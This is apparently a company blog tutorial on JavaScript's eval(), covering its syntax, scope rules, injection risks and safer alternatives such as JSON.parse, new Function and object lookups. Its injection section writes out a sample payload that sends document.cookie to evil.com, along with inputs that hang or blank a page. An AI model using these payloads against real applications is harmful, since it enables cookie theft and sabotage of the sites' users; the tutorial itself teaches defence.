How to Use eval() in JavaScript
- Leanware Editorial Team
- 2 days ago
- 8 min read
eval() parses a string as JavaScript and executes it. Anything you can write in a .js file, you can pass to eval() as a string and it runs.
The problem is what comes with that flexibility. JavaScript engines cannot optimize code they haven't seen until runtime. Debuggers cannot step through it. And if that string comes from user input, you have a code injection vulnerability. Most teams ban eval() via ESLint, and Content Security Policies block it by default.
This guide covers when eval() makes sense, when it doesn't, and what to use instead.
Introduction to eval() in JavaScript

eval() has existed since the earliest JavaScript implementations. It was useful when the language lacked features for dynamic behavior. Brendan Eich included it in the original 1995 release, and it remains part of the language today.
Modern JavaScript provides better alternatives for almost every use case, but understanding eval() helps when you encounter it in legacy code or need to evaluate its risks. You will also see it discussed in security contexts, since it is a common source of vulnerabilities.
What Does eval() Do?
eval() takes a string argument, parses it as JavaScript, and executes it. The result of the last expression becomes the return value.
const result = eval('2 + 3');
console.log(result); // 5The string can contain any valid JavaScript: variable declarations, function calls, object creation, or complex logic. The interpreter treats the string contents exactly like regular code.
eval('const x = 10; console.log(x * 2)'); // Logs: 20Why Developers Use eval()
Developers reach for eval() when they need to execute code that only exists as a string at runtime. Common motivations include:
Dynamic configuration where behavior is defined in config files or databases. Code playgrounds and REPLs that execute user-written code. Legacy systems that store logic as strings. Quick prototyping where proper architecture is not yet needed.
Most of these have safer solutions now, but eval() remains the quick and dirty option.
Syntax of eval()
Basic Syntax Format
eval (string)The function accepts one argument: a string containing valid JavaScript code. If you pass a non-string, eval() returns it unchanged.
eval(42); // Returns 42 (not a string, returned as-is)
eval('42'); // Returns 42 (string parsed and evaluated)
eval('2 + 2'); // Returns 4Examples of Simple eval() Usage
Variable assignment:
eval('var message = "hello"');
console.log(message); // "hello"Function execution:
function greet (name) {
return `Hi, ${name}`;
}
const result = eval('greet("Alice")');
console.log(result); // "Hi, Alice"Math expression:
const expression = '(10 + 5) * 2';
const result = eval(expression);
console.log(result); // 30Common Use Cases for eval()
These are situations where developers have used eval(). This is not a recommendation to use it this way.
Dynamic Code Execution
Some systems store business logic as strings in databases or config files:
const rules = {
discount: 'price > 100 ? price * 0.1 : 0'
};
function calculateDiscount(price) {
return eval(rules.discount);
}This pattern appears in rule engines and configurable systems. It works, but exposes the system to injection attacks if the stored strings come from untrusted sources.
Creating Functions at Runtime
eval() can construct functions from strings:
const funcBody = 'return a + b';
const add = eval(`(function(a, b) { ${funcBody} })`);
console.log(add(2, 3)); // 5The new Function() constructor does this more safely (covered below).
Evaluating Mathematical Expressions
Calculator applications sometimes use eval() for expression parsing:
const userInput = '3 * (4 + 2)';
const result = eval(userInput);
console.log(result); // 18This is dangerous with actual user input. A math parsing library is safer.
How eval() Works Behind the Scenes
Global vs Local Scope Impact
Direct eval() calls access the local scope. Indirect calls run in global scope.
Direct call (local scope):
function test() {
const x = 10;
eval('console.log(x)'); // Logs: 10
}
test();Indirect call (global scope):
const x = 'global';
function test() {
const x = 'local';
const geval = eval;
geval('console.log(x)'); // Logs: "global"
}
test();Assigning eval to a variable and calling through that variable makes it indirect. This affects which variables the evaluated code can access.
Parsing and Execution Timing
eval() runs at runtime, not compile time. The JavaScript engine cannot optimize code inside eval() strings because it does not know what they contain until execution.
function calculate (op) {
// Engine cannot optimize this at compile time
return eval(`100 ${op} 50`);
}
calculate('+'); // 150
calculate('*'); // 5000This runtime parsing adds overhead compared to regular code.
Dangers and Security Risks of eval()
Why eval() is Considered Dangerous
eval() executes any string as code. If that string comes from user input, URL parameters, database fields, or any external source, an attacker can run arbitrary code in your application.
The danger is not the function itself but the difficulty of ensuring the input is safe. In practice, guaranteeing safety is nearly impossible when external data is involved.
Code Injection Vulnerabilities
Consider a calculator that evaluates user expressions:
// Dangerous implementation
function calculate (expression) {
return eval(expression);
}
// User enters: 2 + 2
calculate('2 + 2'); // 4
// Attacker enters malicious code
calculate('(function(){ fetch("https://evil.com?cookie=" + document.cookie) })()');The attacker can steal cookies, modify the DOM, make network requests, or do anything JavaScript allows. In Node.js environments, they could access the file system or execute shell commands using require('child_process').
Real-world attacks often look less obvious:
// Attacker input that looks like math
calculate('1+1; while(true){}'); // Infinite loop, crashes the page
calculate('1+1; document.body.innerHTML=""'); // Wipes the pageThe semicolon allows chaining arbitrary statements after a harmless expression.
Performance Issues and Debugging Challenges
eval() prevents JavaScript engine optimizations. The engine cannot inline or pre-compile code that might change at runtime.
Debugging is harder because:
Stack traces show eval without meaningful context
Breakpoints cannot be set inside eval strings
Variable inspection is limited
Source maps do not work
// Hard to debug
eval('function doSomething() { throw new Error("failed"); } doSomething()');
// Error points to "eval" rather than the actual lineBest Practices When Using eval()
If you must use eval(), minimize the risk.
Validating Input Before Evaluation
Never pass raw external input to eval(). If you must evaluate dynamic content, validate strictly:
function safeMathEval(expression) {
// Only allow digits, operators, parentheses, decimals
if (!/^[\d\s\+\-\*\/\(\)\.]+$/.test(expression)) {
throw new Error('Invalid expression');
}
return eval(expression);
}
safeMathEval('2 + 3'); // 5
safeMathEval('alert("hacked")'); // Throws errorThis is still risky. A dedicated math parser is better.
Limiting eval() Usage to Trusted Code
Only use eval() on strings your code generates internally:
// Acceptable: string is hardcoded
const operations = {
add: 'a + b',
subtract: 'a - b'
};
function calculate(op, a, b) {
if (!operations[op]) throw new Error('Unknown operation');
return eval(operations[op]);
}The evaluated strings come from your own code, not external sources.
Running eval() in a Sandbox (If Necessary)
For code playgrounds or similar use cases, isolate eval():
Browser: Use an iframe with a different origin. Communication happens through postMessage(), and the iframe cannot access the parent's DOM or cookies.
Node.js: The vm module creates isolated contexts:
const vm = require('vm');
const sandbox = { result: null };
vm.createContext(sandbox);
vm.runInContext('result = 2 + 2', sandbox);
console.log(sandbox.result); // 4Note that vm is not a security boundary against malicious code. For true isolation, use separate processes or containers.
Secure Alternatives to eval()
Using JSON.parse() for JSON Data
A common misuse of eval() is parsing JSON:
// Wrong
const data = eval('(' + jsonString + ')');
// Right
const data = JSON.parse(jsonString);JSON.parse() only parses JSON syntax. It cannot execute functions or arbitrary code. It is also faster.
Using new Function() for Safer Execution
new Function() creates a function from a string but runs in global scope only:
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 5The syntax takes parameter names as separate arguments, with the function body as the last argument:
// new Function(param1, param2, ..., functionBody)
const multiply = new Function('x', 'y', 'return x * y');Unlike eval(), new Function() cannot access local variables:
function test() {
const secret = 'password123';
const fn = new Function('return secret');
fn(); // ReferenceError: secret is not defined
}This isolation provides some protection. An attacker cannot access variables in the surrounding closure. However, new Function() can still access global variables and built-in objects, so it is still not safe for untrusted input.
Other Safer Design Patterns
Instead of evaluating strings, use object lookups:
// Instead of eval('operation_' + type + '()')
const operations = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b
};
function calculate(type, a, b) {
const fn = operations[type];
if (!fn) throw new Error('Unknown operation');
return fn(a, b);
}This is faster, safer, and easier to debug.
Should You Use eval() in Modern JavaScript?
When It's Justifiable
Legitimate uses exist in narrow contexts:
Code playgrounds (CodePen, JSFiddle) that execute user code in sandboxed iframes.
Development tools and REPLs.
Internal tooling that processes trusted code strings.
Scripting engines that need to execute dynamic logic.
Even in these cases, sandboxing and careful design are required.
When to Absolutely Avoid It
Never use eval() with:
User input of any kind (form fields, text areas, prompts)
URL parameters or query strings
Database content that users can influence
API responses from external services
Any data that crosses a trust boundary
Localstorage or cookies that users can modify
In production applications handling user data, there is almost never a valid reason to use eval(). The risk-to-benefit ratio simply does not work out.
Getting Started
eval() executes strings as JavaScript code. This capability is occasionally useful but usually dangerous. The function opens code injection vulnerabilities, prevents engine optimizations, and complicates debugging.
Use JSON.parse() for JSON data. Utilize new Function() when you need dynamic function creation with limited scope access. Apply object lookups and function dispatchers instead of evaluating operation names. When you must execute untrusted code, sandbox it in iframes or separate processes.
Most modern JavaScript linters flag eval() usage by default. ESLint's no-eval rule, for example, will warn you when eval() appears in code. If you find eval() in a codebase, treat it as a red flag worth investigating. Understand why it was used and whether a safer alternative exists.
You can also connect with us to get expert guidance on safely handling dynamic JavaScript execution and implementing secure alternatives.
Frequently Asked Questions
How do I catch and handle errors from eval()?
eval() can throw SyntaxError for invalid code or ReferenceError for undefined variables. Use try/catch:
try {
const result = eval(userExpression);
console.log(result);
} catch (error) {
console.error('Evaluation failed:', error.message);
}Does eval() work differently in strict mode?
Yes. In strict mode, eval() cannot introduce variables into the surrounding scope:
'use strict';
eval('var x = 10');
console.log(typeof x); // "undefined"
// Without strict mode:
eval('var y = 10');
console.log(y); // 10Strict mode contains eval() side effects within the evaluated code.
What's the maximum string length eval() can process?
No standard limit exists. JavaScript engines like V8 handle large strings, but very long eval strings hit memory limits and cause performance problems. If you are evaluating strings large enough to worry about limits, reconsider your approach.
How to prevent eval() from accessing global variables?
Use new Function() which only accesses global scope, not local scope. For stronger isolation in Node.js, use the vm module. In browsers, run code in a sandboxed iframe with a different origin.
Can I use eval() with Content Security Policy (CSP)?
Most CSP configurations block eval() by default. To allow it, you must add unsafe-eval to your policy:
Content-Security-Policy: script-src 'self' 'unsafe-eval'This weakens your CSP significantly. If your application requires CSP for security, avoid eval() entirely.





.webp)





